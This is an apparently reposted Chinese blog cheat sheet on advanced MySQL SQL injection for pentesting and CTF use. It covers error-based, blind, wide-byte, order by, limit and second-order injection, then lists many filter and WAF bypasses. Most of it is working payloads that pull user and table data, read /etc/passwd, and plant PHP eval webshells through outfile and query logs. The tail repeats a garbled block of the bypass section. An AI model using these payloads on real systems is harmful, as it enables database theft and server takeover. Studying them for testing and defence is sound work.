sql注入进阶-报错注入盲注order by注入二次注入SQL注入绕过速查表
Posted Ocean:)
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了sql注入进阶-报错注入盲注order by注入二次注入SQL注入绕过速查表相关的知识,希望对你有一定的参考价值。
SQL注入
手法分类:
联合注入、报错注入、布尔盲注、延时注入、多语句查询注入(堆叠注入)
可能存在注入的点:
-
GPC
GET
POST
COOKIE
-
HTTP头(请求报文及其他字段)
基础
mysql、mssql、SQL Server 以及 Oracle等,不同数据库有不同的特性
mysql
注释
#、-- (空格)、–+、/* *
/、/*! *
/(内联查询)
mysql默认表
- 元数据数据库:information_schema(mysql5后才有)
-
mysql表:保存了用户密码,host等信息
如果host:%表示可以从任意地方登录,支持远程连接
查询语句后加\\G 规范成列输出
操作符优先级
信息收集
/*!xxx*
/,若版本号大于xxx,则会执行注释中的语句 /*!4000 user()*
/
- 路径 @@datadir
- 操作系统 @@version_compile_os
- 系统用户名 system_user()
- 用户名 user()
- 当前用户名 current_user()
- 连接数据库的用户名 session_user()
- 数据库版本 version()
- 当前数据库名 database()
标准注入流程
-
获取当前的数据库用户,数据库名称,数据库的版本信息
select user(),database(),version() from dual;
-
查询数据库,有时需要限制返回的数量,或者偏移,例如页面只显示一条数据的情况 limit 0,1 limit 1,2 需要通过偏移来返回所有的数据库 select schema_name from information_schema.schemata;
-
group_concat 函数是将多行数据连接成一行 select group_concat(schema_name) from information_schema.schemata;
-
查询表
1.方法1 select group_concat(table_name) from information_schema.tables where table_schema=database();
2.方法2 select table_name from information_schema.tables where table_schema=‘database_name’;
3.方法3 select table_name from information_schema.tables where table_schema=(select database());
-
查询列
1.select column_name from information_schema.columns where table_schema=‘database_name’ and table_name=‘users’;
2.select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=‘flag’;
3.上面可能会被waf识别,也可以这样
select group_concat(column_name) from information_schema.columns where table_name=‘users’;
4.字符串可以转换成16进制 select concat(group_concat(distinct+column_name)) from information_schema.columns where table_name=0x696e666f;
报错注入
https://xz.aliyun.com/t/7318
首选floor,其他可能会冲突
原理:
-
重复键冲突
group by
floor()
-
xpath报错:适用于mysql5.0以上
extractvalue()
updatexml()
-
floor()
select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);
-
extractvalue()
select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
-
updatexml()
select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
-
geometrycollection()
select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));
-
multipoint()
select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));
-
polygon()
select * from test where id=1 and polygon((select * from(select * from(select user())a)b));
-
multipolygon()
select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));
-
linestring()
select * from test where id=1 and linestring((select * from(select * from(select user())a)b));
-
multilinestring()
select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));
-
exp()
select * from test where id=1 and exp(~(select * from(select user())a));
盲注
实际渗透使用较少,时间太长,对网络要求高,ctf中常见
延时函数:
- sleep()
- benchmark() 指定语句执行的次数
- 笛卡尔积
字符串切割函数:
-
substing()
-
substr()
-
mid()
上面三个函数用法
参数1:截取的字符串
参数2:截取其实位置从1开始计数
参数2:截取长度
-
left() 从左侧开始取指定字符个数的字符串
-
light()
字符串拼接函数:
- concat() 没有分隔符的连接字符串
- concat_ws() 将一个参数作为分隔符连接字符串
- group_concat() 连接一个组(字段)的字符串
条件判断函数:
if(条件、语句1、语句2)
else:
- find_in_set() 返回字符串在字符串列表中的位置
- name_const() 返回表作为结果
- load_file() 读取文件,并以字符串形式返回文件内容
- hex() unhex() 16进制转换
- ord() ascii() ascii编码互换
二分、dnslog
宽字节注入
漏洞成因:php和数据库编码不同
数据库使用gbk编码字符集,16位字符串,编码范围 8140-FEFE
addslashes()函数将单引号(’)、双引号(")、反斜线(**)与 NUL(NULL
字符)前面加一个\\进行转义
%df’ —> %df\\’ —> %df%5c —> id=‘你’ union select 1,2,3
https://www.leavesongs.com/PENETRATION/mutibyte-sql-inject.html
文件读写
MySQL 中 在在mysql 5.6.34版本以后 secure_file_priv的值默认为NULL ,而 secure_file_priv为null 那么我们就不能导出文件,以下都建立在secure_file_priv 的默认值被修改为无(旧版本或管理员配置错误),才能利用,且这个只能手工修改配置文件不能用sql语句
读文件
select load_file(‘/etc/passwd’)
支持hex
select load_file(‘0x2F6574632F706173737764’)
写文件
select 1,‘<?php phpinfo();?>’ into outfile ‘1.php’
outfile:会在行末写入新行,而且会转义换行符
dumpfile: 能导出一个完整的文件,不会有任何转义,所以udf提权一般用的dumpfile
日志文件写shell
set global general_log=on;
//musql执行每条语句都会被写入日志
set global general_log_file='D://404.php';
//指定写入文件
select '<?php eval($_POST['404']) ?>’;
//会写入select等脏数据
慢查询日志
set global slow_query_log=1;
set global slow_query_log_file='D://404.php'
select '<?php eval($_POST['404']) ?>' or sleep(15);
//只有执行时间比较长的才会写入
写文件关键字过滤
过滤php
set global general_log_file=CONCAT("/var/www/html/1.p","hp");
过滤.php和concat
set global general_log_file =REPLACE("/var/www/html/1.jpg","jpg","php");
进阶
正则疏漏
-
大小写绕过
漏洞成因:正则没有忽略大小写
-
双写绕过
漏洞成因:将黑名单字符串替换为空
-
注释符绕过
union select
union\\
**
\\select
mysql特性
-
16进制编码绕过单引号
select hex(‘Dumb’)
0x44756D62 ==‘Dumb’
-
设置变量+预查询
set
prepare
execute
:= 赋值运算符
关键字过滤
-
like/regex/in代替= <>
1’ or ‘1’ like ‘%1%’
1’ or ‘1’ in (1,2)
-
/**/,()代替空格
where id=(1)union select 1,2,3
-
innodb代替information_schema
innodb mysql5.6后引入的内置表
在mysql 5.6.x版本起,innodb增添了两个新表,一个是innodb_index_stats,另一个是innodb_table_stats。查阅官方文档
从官方文档我们可以发现两个有用的信息:
-
从5.6.x版本开始,innodb_index_stats和innodb_table_stats数据表时自动设置的。
-
两个表都会存储数据库和对应的数据表
payload: select group_concat(table_name) from mysql.innodb_table_stats where database_name like database()
题目过滤or导致information_schema不可用
-
中间件特性
-
参数污染
漏洞成因:waf和服务器参数选取不同
?a=1&a=1’ union select 1,2,3%23
waf只检查了第一个参数,而server使用的是最后一个参数
server将相似的参数合并,而waf分开检测
?a=1’ un&a=ion select 1,2,3%23
-
请求走私
https://www.anquanke.com/post/id/169738
https://paper.seebug.org/1048/#4-httpcve-2018-8004
content-length和tranfer-encoding识别不同导致绕过
PDO场景下的注入
mysql是支持堆叠查询的用; 分割语句,但是php原生的连接方式不支持,但是使用 PDO,mysqli_multi_query()等等是支持多语句的
PDO 相关概念
-
PHP数据对象(PDO)扩展为PHP访问数据库定义了一个轻量级的一致接口。PDO提供了一个数据访问抽象层,这意味着,不管使用哪种数据库,都可以使用相同的函数(方法)来查询和获取数据
-
PHP版本要求
php version >= 5.1
PDO随PHP 5.1发行,在PHP 5.0的PECL扩展中也可以使用,无法运行于之前的PHP版本
PDO默认支持多语句查询,如果php版本小于5.5.21或者创建PDO实例时未设置PDO::MYSQL_ATTR_MULTI_STATEMENTS为false时可能会造成堆叠注入
二次注入
二次注入的原理是在第一次进行数据库插入数据的时候,仅仅只是使用了addslashes或者是借助get_magic_quotes_gpc对其中的特殊字符进行了转义,在写入数据库的时候还是保留了原来的数据,但是数据本身还是脏数据。
在将数据存入到了数据库中之后,开发者就认为数据是可信的。在下一次进行需要进行查询的时候,直接从数据库中取出了脏数据,没有进行进一步的检验和处理,这样就会造成SQL的二次注入
order by注入
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-9N5Gk0NS-1631149859380)(https://raw.githubusercontent.com/Ocean0000/Ocean0000.github.io/master/20201217220107.png)]
跟盲注原理相同,注入方法相同,替换1=1,为盲注语句就可以
利用条件就是存在order by
布尔注入
时间盲注
limit注入
select * from admin where id >0 limit 0,1 $id
<5.6的版本,使用procedure analyse配合报错注入
procedure analyse(extractvalue(rand(),concat(0x3a,(select group_concat(id,username,password) from users limit 0,1))),1)
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-g5PUVmJz-1631149859384)(https://raw.githubusercontent.com/Ocean0000/Ocean0000.github.io/master/image-20201112171729525.png)]
无列名注入
在不知道列名的情况下,进行注入
-
fuzz表名+别名代替列名
user / users /person / admin / ctf / flag / f1ag /wdb
select d.2 from(select * from (select 1)a,(select 2)b,(select 3)c union select * from users)d; //子查询 查询d表的名为2的列
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-aKYU4fQw-1631149859385)(https://raw.githubusercontent.com/Ocean0000/Ocean0000.github.io/master/image-20201112172414167.png)]
users表可以用fuzz来测试
-
Info
select 1,2,group_concat(INFO) from information_schema.PROCESSLIST
拓展攻击面
- 开发者容易遗漏的输入点
- HTTP头
- X-Forwarded-For
- User-Agent
- Referer
- REQUEST_URI
- 文件名
$_FILES[][name]
框架中sql注入挖掘
- 在挖掘SQL注入时可以通过审计Model层代码,查看其中是否存在拼接的SQL语句,然后从下往上回溯调用过程,判断被拼接的变量能否由外部控制。
- 开启数据库记录日志,通过黑盒测试参数然后观察是否有脏数据注入进去,如果有过滤的话然后在审计代码,绕过过滤函数。
- MySQL日志开启方法在my.cnf文件中添加如下两行
- general-log = True
- general-log-file = /tmp/mysql.log
- 直接审计框架中底层处理SQL操作的方法,若存在问题则可导致大量注入。
堆叠注入
约束攻击
SQL注入绕过速查表
过滤and or
or ——> ||
and ——> &&
xor——>|
not——>!
十六进制绕过
or ——> o\\x72
大小写绕过
Or
aNd
双写绕过
oorr
anandd
urlencode,ascii(char),hex,unicode编码绕过
一些unicode编码举例:
单引号:'
%u0027 %u02b9 %u02bc
%u02c8 %u2032
%uff07 %c0%27
%c0%a7 %e0%80%a7
关键字内联注释尝试绕所有
/*!or*/
/*!and*/
左括号过滤
urlencode,ascii(char),hex,unicode编码绕过
%u0028 %uff08
%c0%28 %c0%a8
%e0%80%a8
右括号过滤
urlencode,ascii(char),hex,unicode编码绕过
%u0029 %uff09
%c0%29 %c0%a9
%e0%80%a9
过滤union\\select
逻辑绕过
例:
过滤代码 union select user,password from users
绕过方式 1 && (select user from users where userid=1)='admin'
十六进制字符绕过
select ——> selec\\x74
union——>unio\\x6e
大小写绕过
SelEct
双写绕过
selselectect
uniunionon
urlencode,ascii(char),hex,unicode编码绕过
关键字内联绕所有
/*!union*/
/*!select*/
过滤空格
用Tab代替空格%20 %09 %0a %0b %0c %0d %a0 /**/()
绕过空格注释符绕过//--%20/**/#--+-- -;%00;
空白字符绕过SQLite3 —— 0A,0D,0c,09,20
MYSQL
09,0A,0B,0B,0D,A0,20
PosgressSQL
0A,0D,0C,09,20
Oracle_11g
00,0A,0D,0C,09,20
MSSQL
01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,OF,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20
特殊符号绕过
` + !
等科学计数法绕过
例:
select user,password from users where user_id0e1union select 1,2
unicode编码
%u0020 %uff00
%c0%20 %c0%a0 %e0%80%a0
过滤=
?id=1' or 1 like 1#可以绕过对 = > 等过滤
or '1' IN ('1234')#可以替代=
过滤比较符<>
select*fromuserswhereid=1and ascii(substr(database(),0,1))>64
select*fromuserswhereid=1and greatest(ascii(substr(database(),0,1)),64)=64
过滤where
逻辑绕过
过滤代码 1 && (select user from users where user_id = 1) = 'admin'
绕过方式 1 && (select user from users limit 1) = 'admin'
过滤limit
逻辑绕过
过滤代码 1 && (select user from users limit 1) = 'admin'
绕过方式 1 && (select user from users group by user_id having user_id = 1) = 'admin'#user_id聚合中user_id为1的user为admin
过滤group by
逻辑绕过
过滤代码 1 && (select user from users group by user_id having user_id = 1) = 'admin'
绕过方式 1 && (select substr(group_concat(user_id),1,1) user from users ) = 1
过滤select
逻辑绕过
过滤代码 1 && (select substr(group_concat(user_id),1,1) user from users ) = 1
绕过方式 1 && substr(user,1,1) = 'a'
过滤’(单引号)
逻辑绕过
waf = 'and|or|union|where|limit|group by|select|\\''
过滤代码 1 && substr(user,1,1) = 'a'
绕过方式 1 && user_id is not null1 && substr(user,1,1) = 0x611 && substr(user,1,1) = unhex(61)
宽字节绕过
%bf%27 %df%27 %aa%27
过滤逗号
在使用盲注的时候,需要使用到substr(),mid(),limit。这些子句方法都需要使用到逗号。对于substr()和mid()这两个方法可以使用from to的方式来解决:
selectsubstr(database(0from1for1);selectmid(database(0from1for1);
对于limit可以使用offset来绕过:
select*fromnews limit0,1# 等价于下面这条SQL语句select*fromnews limit1offset0
过滤hex
逻辑绕过
过滤代码 1 && substr(user,1,1) = unhex(61)
绕过方式 1 && substr(user,1,1) = lower(conv(11,10,16)) #十进制的11转化为十六进制,并小写。
过滤substr
逻辑绕过
过滤代码 1 && substr(user,1,1) = lower(conv(11,10,16))
绕过方式 1 && lpad(user(),1,1) in 'r'
编码绕过
利用urlencode,ascii(char),hex,unicode等编码绕过
or 1=1即%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。
十六进制编码
SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61))
双重编码绕过
?id=1%252f%252a*/UNION%252f%252a /SELECT%252f%252a*/1,2,password%252f%252a*/FROM%252f%252a*/Users--+
等价函数或变量
hex()、bin() ==> ascii()
sleep() ==>benchmark()
concat_ws()==>group_concat()
mid()、substr() ==> substring()
@@user ==> user()
@@datadir ==> datadir()
举例:substring()和substr()无法使用时:?id=1 and ascii(lower(mid((select pwd from users limit 1,1),1,1)))=74
或者:
substr((select 'password'),1,1) = 0x70
strcmp(left('password',1), 0x69) = 1
strcmp(left('password',1), 0x70) = 0
strcmp(left('password',1), 0x71) = -1
生僻函数
MySQL/PostgreSQL支持XML函数:Select UpdateXML(‘<script x=_></script> ’,’/script/@x/’,’src=//evil.com’);
?id=1 and 1=(updatexml(1,concat(0x3a,(select user())),1))
SELECT xmlelement(name img,xmlattributes(1as src,'a\\l\\x65rt(1)'as \\117n\\x65rror)); //postgresql
?id=1 and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
and 1=(updatexml(1,concat(0x5c,(select user()),0x5c),1))
and extractvalue(1, concat(0x5c, (select user()),0x5c))
\\N绕过
\\N相当于NULL字符
select * from users where id=8E0union select 1,2,3,4,5,6,7,8,9,0
select * from users where id=8.0union select 1,2,3,4,5,6,7,8,9,0
select * from users where id=\\Nunion select 1,2,3,4,5,6,7,8,9,0
PCRE绕过
PHP 的 pcre.backtrack_limit 限制利用
union/*aaaaaaaxN*/select
/’,’src=//evil.com’);
?id=1 and 1=(updatexml(1,concat(0x3a,(select user())),1))
SELECT xmlelement(name img,xmlattributes(1as src,'a\\l\\x65rt(1)'as \\117n\\x65rror)); //postgresql
?id=1 and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
and 1=(updatexml(1,concat(0x5c,(select user()),0x5c),1))
and extractvalue(1, concat(0x5c, (select user()),0x5c))
#### \\N绕过
\\N相当于NULL字符
select * from users where id=8E0union select 1,2,3,4,5,6,7,8,9,0
select * from users where id=8.0union select 1,2,3,4,5,6,7,8,9,0
select * from users where id=\\Nunion select 1,2,3,4,5,6,7,8,9,0
#### PCRE绕过
PHP 的 pcre.backtrack_limit 限制利用
union/aaaaaaaxN/select
上面的还不行?尝试修改语句逻辑再绕过试试?
以上是关于sql注入进阶-报错注入盲注order by注入二次注入SQL注入绕过速查表的主要内容,如果未能解决你的问题,请参考以下文章
sql注入 and 确认了注入点,但order by 无论多少都不会报错 是啥原因?